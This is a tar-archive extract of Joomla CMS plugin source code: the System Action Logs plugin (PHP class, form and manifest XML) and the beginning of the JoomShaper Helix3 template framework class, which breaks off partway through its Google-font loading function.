		<fields name="actionlogs">
			<field
				name="actionlogsNotify"
				type="radio"
				label="PLG_SYSTEM_ACTIONLOGS_NOTIFICATIONS"
				description="PLG_SYSTEM_ACTIONLOGS_NOTIFICATIONS_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="actionlogsExtensions"
				type="logtype"
				label="PLG_SYSTEM_ACTIONLOGS_EXTENSIONS_NOTIFICATIONS"
				description="PLG_SYSTEM_ACTIONLOGS_EXTENSIONS_NOTIFICATIONS_DESC"
				multiple="true"
				validate="options"
				showon="actionlogsNotify:1"
			/>
		</fields>
	</fieldset>
</form>
                                                                                                                                                                 system/actionlogs/actionlogs.php                                                                    0000705                 00000027672 15242051520 0013115 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\User\User;

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgSystemActionLogs extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Load plugin language file automatically so that it can be used inside component
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Import actionlog plugin group so that these plugins will be triggered for events
		PluginHelper::importPlugin('actionlog');
	}

	/**
	 * Adds additional fields to the user editing form for logs e-mail notifications
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!$form instanceof Form)
		{
			$this->subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		$formName = $form->getName();

		$allowedFormNames = array(
			'com_users.profile',
			'com_admin.profile',
			'com_users.user',
		);

		if (!in_array($formName, $allowedFormNames))
		{
			return true;
		}

		/**
		 * We only allow users who has Super User permission change this setting for himself or for other users
		 * who has same Super User permission
		 */

		$user = Factory::getUser();

		if (!$user->authorise('core.admin'))
		{
			return true;
		}

		// If we are on the save command, no data is passed to $data variable, we need to get it directly from request
		$jformData = $this->app->input->get('jform', array(), 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (empty($data->id) || !User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		Form::addFormPath(__DIR__ . '/forms');

		if ((!PluginHelper::isEnabled('actionlog', 'joomla')) && (Factory::getApplication()->isClient('administrator')))
		{
			$form->loadFile('information', false);

			return true;
		}

		if (!PluginHelper::isEnabled('actionlog', 'joomla'))
		{
			return true;
		}

		$form->loadFile('actionlogs', false);
	}

	/**
	 * Runs on content preparation
	 *
	 * @param   string  $context  The context for the data
	 * @param   object  $data     An object containing the data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareData($context, $data)
	{
		if (!in_array($context, array('com_users.profile', 'com_admin.profile', 'com_users.user')))
		{
			return true;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		if (!User::getInstance($data->id)->authorise('core.admin'))
		{
			return true;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('notify', 'extensions')))
			->from($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $data->id);

		try
		{
			$values = $this->db->setQuery($query)->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		if (!$values)
		{
			return true;
		}

		$data->actionlogs                       = new StdClass;
		$data->actionlogs->actionlogsNotify     = $values->notify;
		$data->actionlogs->actionlogsExtensions = $values->extensions;

		if (!HTMLHelper::isRegistered('users.actionlogsNotify'))
		{
			HTMLHelper::register('users.actionlogsNotify', array(__CLASS__, 'renderActionlogsNotify'));
		}

		if (!HTMLHelper::isRegistered('users.actionlogsExtensions'))
		{
			HTMLHelper::register('users.actionlogsExtensions', array(__CLASS__, 'renderActionlogsExtensions'));
		}

		return true;
	}

	/**
	 * Runs after the HTTP response has been sent to the client and delete log records older than certain days
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRespond()
	{
		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);

		if ($daysToDeleteAfter <= 0)
		{
			return;
		}

		// The delete frequency will be once per day
		$deleteFrequency = 3600 * 24;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (abs($now - $last) < $deleteFrequency)
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('actionlogs'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		$daysToDeleteAfter = (int) $this->params->get('logDeletePeriod', 0);
		$now = $db->quote(Factory::getDate()->toSql());

		if ($daysToDeleteAfter > 0)
		{
			$conditions = array($db->quoteName('log_date') . ' < ' . $query->dateAdd($now, -1 * $daysToDeleteAfter, ' DAY'));

			$query->clear()
				->delete($db->quoteName('#__action_logs'))->where($conditions);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				// Ignore it
				return;
			}
		}
	}

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isNew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isNew, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		// Clear access rights in case user groups were changed.
		$userObject = new User($user['id']);
		$userObject->clearAccessRights();
		$authorised = $userObject->authorise('core.admin');

		$query = $this->db->getQuery(true)
			->select('COUNT(*)')
			->from($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);

		try
		{
			$exists = (bool) $this->db->setQuery($query)->loadResult();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		// If preferences don't exist, insert.
		if (!$exists && $authorised && isset($user['actionlogs']))
		{
			$values  = array((int) $user['id'], (int) $user['actionlogs']['actionlogsNotify']);
			$columns = array('user_id', 'notify');

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[]  = $this->db->quote(json_encode($user['actionlogs']['actionlogsExtensions']));
				$columns[] = 'extensions';
			}

			$query = $this->db->getQuery(true)
				->insert($this->db->quoteName('#__action_logs_users'))
				->columns($this->db->quoteName($columns))
				->values(implode(',', $values));
		}
		elseif ($exists && $authorised && isset($user['actionlogs']))
		{
			// Update preferences.
			$values = array($this->db->quoteName('notify') . ' = ' . (int) $user['actionlogs']['actionlogsNotify']);

			if (isset($user['actionlogs']['actionlogsExtensions']))
			{
				$values[] = $this->db->quoteName('extensions') . ' = ' . $this->db->quote(json_encode($user['actionlogs']['actionlogsExtensions']));
			}

			$query = $this->db->getQuery(true)
				->update($this->db->quoteName('#__action_logs_users'))
				->set($values)
				->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);
		}
		elseif ($exists && !$authorised)
		{
			// Remove preferences if user is not authorised.
			$query = $this->db->getQuery(true)
				->delete($this->db->quoteName('#__action_logs_users'))
				->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);
		}

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Removes user preferences
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__action_logs_users'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = Factory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $clientId)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $clientId ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = Cache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}

	/**
	 * Method to render a value.
	 *
	 * @param   integer|string  $value  The value (0 or 1).
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsNotify($value)
	{
		return Text::_($value ? 'JYES' : 'JNO');
	}

	/**
	 * Method to render a list of extensions.
	 *
	 * @param   array|string  $extensions  Array of extensions or an empty string if none selected.
	 *
	 * @return  string  The rendered value.
	 *
	 * @since   3.9.16
	 */
	public static function renderActionlogsExtensions($extensions)
	{
		// No extensions selected.
		if (!$extensions)
		{
			return Text::_('JNONE');
		}

		// Load the helper.
		JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

		foreach ($extensions as &$extension)
		{
			// Load extension language files and translate extension name.
			ActionlogsHelper::loadTranslationFiles($extension);
			$extension = Text::_($extension);
		}

		return implode(', ', $extensions);
	}
}
                                                                      system/actionlogs/actionlogs.xml                                                                    0000705                 00000002363 15242051520 0013114 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_ACTIONLOGS</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_ACTIONLOGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="actionlogs">actionlogs.php</filename>
		<folder>forms</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_actionlogs.ini</language>
		<language tag="en-GB">en-GB.plg_system_actionlogs.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="logDeletePeriod"
					type="number"
					label="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD"
					description="PLG_SYSTEM_ACTIONLOGS_LOG_DELETE_PERIOD_DESC"
					default="0"
					min="0"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                             system/helix3/core/helix3.php                                                                       0000705                 00000063014 15242051520 0012117 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2018 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined('_JEXEC') or die ('resticted aceess');

jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
jimport('joomla.filter.filteroutput');

class Helix3
{

	private static $_instance;
	private $document;
	private $importedFiles = array();
	private $_less;

	private $load_pos;

	//initialize
	public function __construct()
	{
	}

	/**
	* making self object for singleton method
	*
	*/
	final public static function getInstance()
	{
		if (!self::$_instance)
		{
			self::$_instance = new self();
			self::getInstance()->getDocument();
		}

		return self::$_instance;
	}

	/**
	* Get Document
	*
	* @param string $key
	*/
	public static function getDocument($key = false)
	{
		self::getInstance()->document = JFactory::getDocument();
		$doc                          = self::getInstance()->document;
		if (is_string($key))
		{
			return $doc->$key;
		}

		return $doc;
	}

	public static function getParam($key)
	{
		$params = JFactory::getApplication()->getTemplate(true)->params;

		return $params->get($key);
	}

	//Body Class
	public static function bodyClass($class = '')
	{
		$app       = JFactory::getApplication();
		$doc       = JFactory::getDocument();
		$language  = $doc->language;
		$direction = $doc->direction;
		$option    = str_replace('_', '-', $app->input->getCmd('option', ''));
		$view      = $app->input->getCmd('view', '');
		$layout    = $app->input->getCmd('layout', '');
		$task      = $app->input->getCmd('task', '');
		$itemid    = $app->input->getCmd('Itemid', '');
		$menu      = $app->getMenu()->getActive();
		if ($menu) {
			$pageclass = $menu->params->get('pageclass_sfx');
		}

		if ($view == 'modules')
		{
			$layout = 'edit';
		}

		return 'site ' . $option
		. ' view-' . $view
		. ($layout ? ' layout-' . $layout : ' no-layout')
		. ($task ? ' task-' . $task : ' no-task')
		. ($itemid ? ' itemid-' . $itemid : '')
		. ($language ? ' ' . $language : '')
		. ($direction ? ' ' . $direction : '')
		. (isset($pageclass) && $pageclass ? ' ' . $pageclass : '')
		. ($class ? ' ' . $class : '');
	}

	//Get view
	public static function view($class = '')
	{
		$app    = JFactory::getApplication();
		$view   = $app->input->getCmd('view', '');
		$layout = $app->input->getCmd('layout', '');

		if (($view == 'modules'))
		{
			$layout = 'edit';
		}

		return $layout;
	}

	//Get Template name
	public static function getTemplate()
	{
		return JFactory::getApplication()->getTemplate();
	}

	//Get Template URI
	public static function getTemplateUri()
	{
		return JURI::base(true) . '/templates/' . self::getTemplate();
	}

	/**
	* Get or set Template param. If value not setted params get and return,
	* else set params
	*
	* @param string $name
	* @param mixed  $value
	*/
	public static function Param($name = true, $value = null)
	{

		// if $name = true, this will return all param data
		if (is_bool($name) and $name == true)
		{
			return JFactory::getApplication()->getTemplate(true)->params;
		}
		// if $value = null, this will return specific param data
		if (is_null($value))
		{
			return JFactory::getApplication()->getTemplate(true)->params->get($name);
		}
		// if $value not = null, this will set a value in specific name.

		$data = JFactory::getApplication()->getTemplate(true)->params->get($name);

		if (is_null($data) or !isset($data))
		{
			JFactory::getApplication()->getTemplate(true)->params->set($name, $value);

			return $value;
		}
		else
		{
			return $data;
		}
	}

	/**
	* Importing features
	*
	* @access private
	*/
	private $inPositions = array();
	public $loadFeature = array();

	private static function importFeatures()
	{

		$template = JFactory::getApplication()->getTemplate();
		$path     = JPATH_THEMES . '/' . $template . '/features';

		if (file_exists($path))
		{
			$files = JFolder::files($path, '.php');

			if (count($files))
			{

				foreach ($files as $key => $file)
				{

					include_once $path . '/' . $file;
					$name = JFile::stripExt($file);

					$class = 'Helix3Feature' . ucfirst($name);
					$class = new $class(self::getInstance());

					$position = $class->position;
					$load_pos = (isset($class->load_pos) && $class->load_pos) ? $class->load_pos : '';

					self::getInstance()->inPositions[] = $position;

					if (!empty($position))
					{

						self::getInstance()->loadFeature[$position][$key]['feature'] = $class->renderFeature();
						self::getInstance()->loadFeature[$position][$key]['load_pos'] = $load_pos;
					}
				}
			}
		}

		return self::getInstance();
	}

	/**
	* get number from col-xs
	*
	* @param string $col_name
	*/
	public static function getColXsNo($col_name)
	{
		//Remove Classes name
		$class_remove = array('layout-column', 'column-active', 'col-sm-');

		return trim(str_replace($class_remove, '', $col_name));
	}

	public static function generatelayout()
	{

		self::getInstance()->addCSS('custom.css');
		self::getInstance()->addJS('custom.js');

		$doc         = JFactory::getDocument();
		$app         = JFactory::getApplication();
		$option      = $app->input->getCmd('option', '');
		$view        = $app->input->getCmd('view', '');
		$pagebuilder = false;

		if ($option == 'com_sppagebuilder')
		{
			$doc->addStylesheet( JURI::base(true) . '/plugins/system/helix3/assets/css/pagebuilder.css' );
			$pagebuilder = true;
		}

		//Import Features
		self::importFeatures();

		$params = JFactory::getApplication()->getTemplate(true)->params;
		$rows   = json_decode($params->get('layout'));

		//Load from file if not exists in database
		if (empty($rows))
		{
			$layout_file = JPATH_SITE . '/templates/' . self::getTemplate() . '/layout/default.json';
			if (!JFile::exists($layout_file))
			{
				die('Default Layout file is not exists! Please goto to template manager and create a new layout first.');
			}
			$rows = json_decode(JFile::read($layout_file));
		}

		$output = '';

		foreach ($rows as $key => $row)
		{
			//echo $key;

			$rowColumns = self::rowColumns($row->attr);

			if (!empty($rowColumns))
			{

				$componentArea = false;

				if (self::hasComponent($rowColumns))
				{
					$componentArea = true;
				}

				$fluidrow = false;
				if (!empty($row->settings->fluidrow))
				{
					$fluidrow = $row->settings->fluidrow;
				}

				$id = (empty($row->settings->name)) ? 'sp-section-' . ($key + 1) : 'sp-' . JFilterOutput::stringURLSafe($row->settings->name);

				$row_class = '';

				if (!empty($row->settings->custom_class))
				{
					$row_class .= $row->settings->custom_class;
				}

				if (!empty($row->settings->hidden_xs))
				{
					$row_class .= ' hidden-xs';
				}

				if (!empty($row->settings->hidden_sm))
				{
					$row_class .= ' hidden-sm';
				}

				if (!empty($row->settings->hidden_md))
				{
					$row_class .= ' hidden-md';
				}

				if ($row_class)
				{
					$row_class = ' class="' . $row_class . '"';
				}
				else
				{
					$row_class = '';
				}

				//css
				$row_css = '';

				if (!empty($row->settings->background_image)) {

					$row_css .= 'background-image:url("' . JURI::base(true) . '/' . $row->settings->background_image . '");';

					if (!empty($row->settings->background_repeat)) {
						$row_css .= 'background-repeat:' . $row->settings->background_repeat . ';';
					}

					if (!empty($row->settings->background_size)) {
						$row_css .= 'background-size:' . $row->settings->background_size . ';';
					}

					if (!empty($row->settings->background_attachment)) {
						$row_css .= 'background-attachment:' . $row->settings->background_attachment . ';';
					}

					if (!empty($row->settings->background_position)) {
						$row_css .= 'background-position:' . $row->settings->background_position . ';';
					}
				}

				if (!empty($row->settings->background_color)) {
					$row_css .= 'background-color:' . $row->settings->background_color . ';';
				}

				if (!empty($row->settings->color)) {
					$row_css .= 'color:' . $row->settings->color . ';';
				}

				if (!empty($row->settings->padding)) {
					$row_css .= 'padding:' . $row->settings->padding . ';';
				}

				if (!empty($row->settings->margin)) {
					$row_css .= 'margin:' . $row->settings->margin . ';';
				}

				if ($row_css) {
					$doc->addStyledeclaration('#' . $id . '{ ' . $row_css . ' }');
				}

				//Link Color
				if (!empty($row->settings->link_color)) {
					$doc->addStyledeclaration('#' . $id . ' a{color:' . $row->settings->link_color . ';}');
				}

				//Link Hover Color
				if (!empty($row->settings->link_hover_color)) {
					$doc->addStyledeclaration('#' . $id . ' a:hover{color:' . $row->settings->link_hover_color . ';}');
				}

				// set html5 stracture
				$sematic = (!empty($row->settings->name)) ? strtolower($row->settings->name) : 'section';

				switch ($sematic)
				{
					case "header":
					$sematic = 'header';
					break;

					case "footer":
					$sematic = 'footer';
					break;

					default:
					$sematic = 'section';
					break;
				}

				$layout_data = array(
					'sematic' 			=> $sematic,
					'id' 				=> $id,
					'row_class' 		=> $row_class,
					'componentArea' 	=> $componentArea,
					'pagebuilder' 		=> $pagebuilder,
					'fluidrow' 			=> $fluidrow,
					'rowColumns' 		=> $rowColumns,
					'componentArea' 	=> $componentArea,
					'componentArea' 	=> $componentArea,
				);

				$template  		= JFactory::getApplication()->getTemplate();
				$themepath 		= JPATH_THEMES . '/' . $template;
				$generate_file	= $themepath . '/html/layouts/helix3/frontend/generate.php';
				$lyt_thm_path   = $themepath . '/html/layouts/helix3/';

				$layout_path  = (file_exists($generate_file)) ? $lyt_thm_path : JPATH_ROOT .'/plugins/system/helix3/layouts';

				$getLayout = new JLayoutFile('frontend.generate', $layout_path );
				$output .= $getLayout->render($layout_data);

			}
		}

		echo $output;
	}

	/* Detect component row */
	private static function hasComponent($rowColumns)
	{

		$hasComponent = false;

		foreach ($rowColumns as $key => $column)
		{

			if ($column->settings->column_type)
			{ /* Component */

				$hasComponent = true;
			}
		}

		return $hasComponent;
	}

	//Get Active Columns
	private static function rowColumns($columns)
	{
		$doc  = JFactory::getDocument();
		$cols = array();

		//Inactive
		$absspan        = 0; //   absence span
		$col_i          = 1;
		$totalPublished = count($columns); // total publish children
		$hasComponent   = false;

		foreach ($columns as &$column)
		{

			$column->settings->name         = (!empty($column->settings->name)) ? $column->settings->name : 'none_empty';
			$column->settings->column_type  = (!empty($column->settings->column_type)) ? $column->settings->column_type : 0;
			$column->settings->custom_class = (!empty($column->settings->custom_class)) ? $column->settings->custom_class : '';

			if (!$column->settings->column_type)
			{
				if (!self::countModules($column->settings->name))
				{
					$col_xs_no = self::getColXsNo($column->className);
					$absspan += $col_xs_no;
					$totalPublished--;
				}
			}
			else
			{
				$hasComponent = true;
			}
		}

		//Active
		foreach ($columns as &$column)
		{

			if ($column->settings->column_type)
			{
				$column->className = 'col-sm-' . (self::getColXsNo($column->className) + $absspan) . ' col-md-' . (self::getColXsNo($column->className) + $absspan);
				$cols[]            = $column;
				$col_i++;
			}
			else
			{

				if (self::countModules($column->settings->name))
				{

					$last_col = ($totalPublished == $col_i) ? $absspan : 0;
					if ($hasComponent)
					{
						$column->className = 'col-sm-' . self::getColXsNo($column->className) . ' col-md-' . self::getColXsNo($column->className);
					}
					else
					{
						$column->className = 'col-sm-' . (self::getColXsNo($column->className) + $last_col) . ' col-md-' . (self::getColXsNo($column->className) + $last_col);
					}

					$cols[] = $column;
					$col_i++;
				}
			}
		}

		return $cols;
	}

	//Count Modules
	public static function countModules($position)
	{
		$doc = JFactory::getDocument();

		return ($doc->countModules($position) or self::hasFeature($position));
	}

	/**
	* Has feature
	*
	* @param string $position
	*/

	public static function hasFeature($position)
	{

		if (in_array($position, self::getInstance()->inPositions))
		{
			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	* Add stylesheet
	*
	* @param mixed $sources . string or array
	*
	* @return self
	*/
	public static function addCSS($sources, $attribs = array())
	{

		$template = JFactory::getApplication()->getTemplate();
		$path     = JPATH_THEMES . '/' . $template . '/css/';

		$srcs = array();

		if (is_string($sources))
		{
			$sources = explode(',', $sources);
		}
		if (!is_array($sources))
		{
			$sources = array($sources);
		}

		foreach ((array) $sources as $source)
		$srcs[] = trim($source);

		foreach ($srcs as $src)
		{

			if (file_exists($path . $src))
			{
				self::getInstance()->document->addStyleSheet(JURI::base(true) . '/templates/' . $template . '/css/' . $src, 'text/css', null, $attribs);
			}
			else
			{
				if ($src != 'custom.css')
				{
					self::getInstance()->document->addStyleSheet($src, 'text/css', null, $attribs);
				}
			}
		}

		return self::getInstance();
	}

	/**
	* Add javascript
	*
	* @param mixed  $sources   . string or array
	* @param string $seperator . default is , (comma)
	*
	* @return self
	*/
	public static function addJS($sources, $seperator = ',')
	{

		$srcs = array();

		$template = JFactory::getApplication()->getTemplate();
		$path     = JPATH_THEMES . '/' . $template . '/js/';

		if (is_string($sources))
		{
			$sources = explode($seperator, $sources);
		}
		if (!is_array($sources))
		{
			$sources = array($sources);
		}

		foreach ((array) $sources as $source)
		$srcs[] = trim($source);

		foreach ($srcs as $src)
		{

			if (file_exists($path . $src))
			{
				self::getInstance()->document->addScript(JURI::base(true) . '/templates/' . $template . '/js/' . $src);
			}
			else
			{
				if ($src != 'custom.js')
				{
					self::getInstance()->document->addScript($src);
				}
			}
		}

		return self::getInstance();
	}

	/**
	* Add Inline Javascript
	*
	* @param mixed $code
	*
	* @return self
	*/
	public function addInlineJS($code)
	{
		self::getInstance()->document->addScriptDeclaration($code);

		return self::getInstance();
	}

	/**
	* Add Inline CSS
	*
	* @param mixed $code
	*
	* @return self
	*/
	public function addInlineCSS($code)
	{
		self::getInstance()->document->addStyleDeclaration($code);

		return self::getInstance();
	}

	/**
	* Less Init
	*
	*/
	public static function lessInit()
	{

		require_once __DIR__ . '/classes/lessc.inc.php';

		self::getInstance()->_less = new helix3_lessc();

		return self::getInstance();
	}

	/**
	* Instance of Less
	*/
	public static function less()
	{
		return self::getInstance()->_less;
	}

	/**
	* Set Less Variables using array key and value
	*
	* @param mixed $array
	*
	* @return self
	*/
	public static function setLessVariables($array)
	{
		self::getInstance()->less()->setVariables($array);

		return self::getInstance();
	}

	/**
	* Set less variable using name and value
	*
	* @param mixed $name
	* @param mixed $value
	*
	* @return self
	*/
	public static function setLessVariable($name, $value)
	{
		self::getInstance()->less()->setVariables(array($name => $value));

		return self::getInstance();
	}

	/**
	* Compile less to css when less modified or css not exist
	*
	* @param mixed $less
	* @param mixed $css
	*
	* @return self
	*/
	private static function autoCompileLess($less, $css)
	{
		// load the cache
		$template  = JFactory::getApplication()->getTemplate();
		$cachePath = JPATH_CACHE . '/com_templates/templates/' . $template;
		$cacheFile = $cachePath . '/' . basename($css . ".cache");

		if (file_exists($cacheFile))
		{
			$cache = unserialize(JFile::read($cacheFile));

			//If root changed then do not compile
			if (isset($cache['root']) && $cache['root'])
			{
				if ($cache['root'] != $less)
				{
					return self::getInstance();
				}
			}
		}
		else
		{
			$cache = $less;
		}

		$lessInit = self::getInstance()->less();
		$newCache = $lessInit->cachedCompile($cache);

		if (!is_array($cache) || $newCache["updated"] > $cache["updated"])
		{

			if (!file_exists($cachePath))
			{
				JFolder::create($cachePath, 0755);
			}

			file_put_contents($cacheFile, serialize($newCache));
			file_put_contents($css, $newCache['compiled']);
		}

		return self::getInstance();
	}

	/**
	* Add Less
	*
	* @param mixed $less
	* @param mixed $css
	*
	* @return self
	*/
	public static function addLess($less, $css, $attribs = array())
	{
		$template  = JFactory::getApplication()->getTemplate();
		$themepath = JPATH_THEMES . '/' . $template;

		if (self::getParam('lessoption') and self::getParam('lessoption') == '1')
		{
			if (file_exists($themepath . "/less/" . $less . ".less"))
			{
				self::getInstance()->autoCompileLess($themepath . "/less/" . $less . ".less", $themepath . "/css/" . $css . ".css");
			}
		}
		self::getInstance()->addCSS($css . '.css', $attribs);

		return self::getInstance();
	}

	private static function addLessFiles($less, $css)
	{

		$less = self::getInstance()->file('less/' . $less . '.less');
		$css  = self::getInstance()->file('css/' . $css . '.css');
		self::getInstance()->less()->compileFile($less, $css);

		echo $less;
		die;

		return self::getInstance();
	}

	private static function resetCookie($name)
	{
		if (JRequest::getVar('reset', '', 'get') == 1)
		{
			setcookie($name, '', time() - 3600, '/');
		}
	}

	/**
	* Preset
	*
	*/
	public static function Preset()
	{
		$template = JFactory::getApplication()->getTemplate();
		$name     = $template . '_preset';

		if (isset($_COOKIE[$name]))
		{
			$current = $_COOKIE[$name];
		}
		else
		{
			$current = self::getParam('preset');
		}

		return $current;
	}

	public static function PresetParam($name)
	{
		return self::getParam(self::getInstance()->Preset() . $name);
	}

	/**
	* Load Menu
	*
	* @since    1.0
	*/
	public static function loadMegaMenu($class = "", $name = '')
	{
		require_once __DIR__ . '/classes/menu.php';

		return new Helix3Menu($class, $name);
	}


	/**
	* Convert object to array
	*
	*/
	public static function object_to_array($obj) {
		if(is_object($obj)) $obj = (array) $obj;
		if(is_array($obj)) {
			$new = array();
			foreach($obj as $key => $val) {
				$new[$key] = self::object_to_array($val);
			}
		}
		else $new = $obj;
		return $new;
	}

	/**
	* Convert object to array
	*
	*/
	public static function font_key_search($font, $fonts) {

		foreach ($fonts as $key => $value) {
			if($value['family'] == $font) {
				return $key;
			}
		}

		return 0;
	}

	/**
	* Add Google Fonts
	*
	* @param string $name  . Name of font. Ex: Yanone+Kaffeesatz:400,700,300,200 or Yanone+Kaffeesatz  or Yanone
	*                      Kaffeesatz
	* @param string $field . Applied selector. Ex: h1, h2, #id, .classname
	*/
	public static function addGoogleFont($fonts)
	{
		$doc = JFactory::getDocument();
		$webfonts = '';
		$tpl_path = JPATH_BASE . '/templates/' . JFactory::getApplication()->getTemplate() . '/webfonts/webfonts.json';
		$plg_path = JPATH_BASE . '/plugins/system/helix3/assets/webfonts/webfonts.json';

		if(file_exists($tpl_path)) {
			$webfonts = JFile::read($tpl_path);
		} else if (file_exists($plg_path)) {
			$webfonts = JFile::read($plg_path);
		}

		//Families
		$families = array();
		foreach ($fonts as $key => $value)
		{
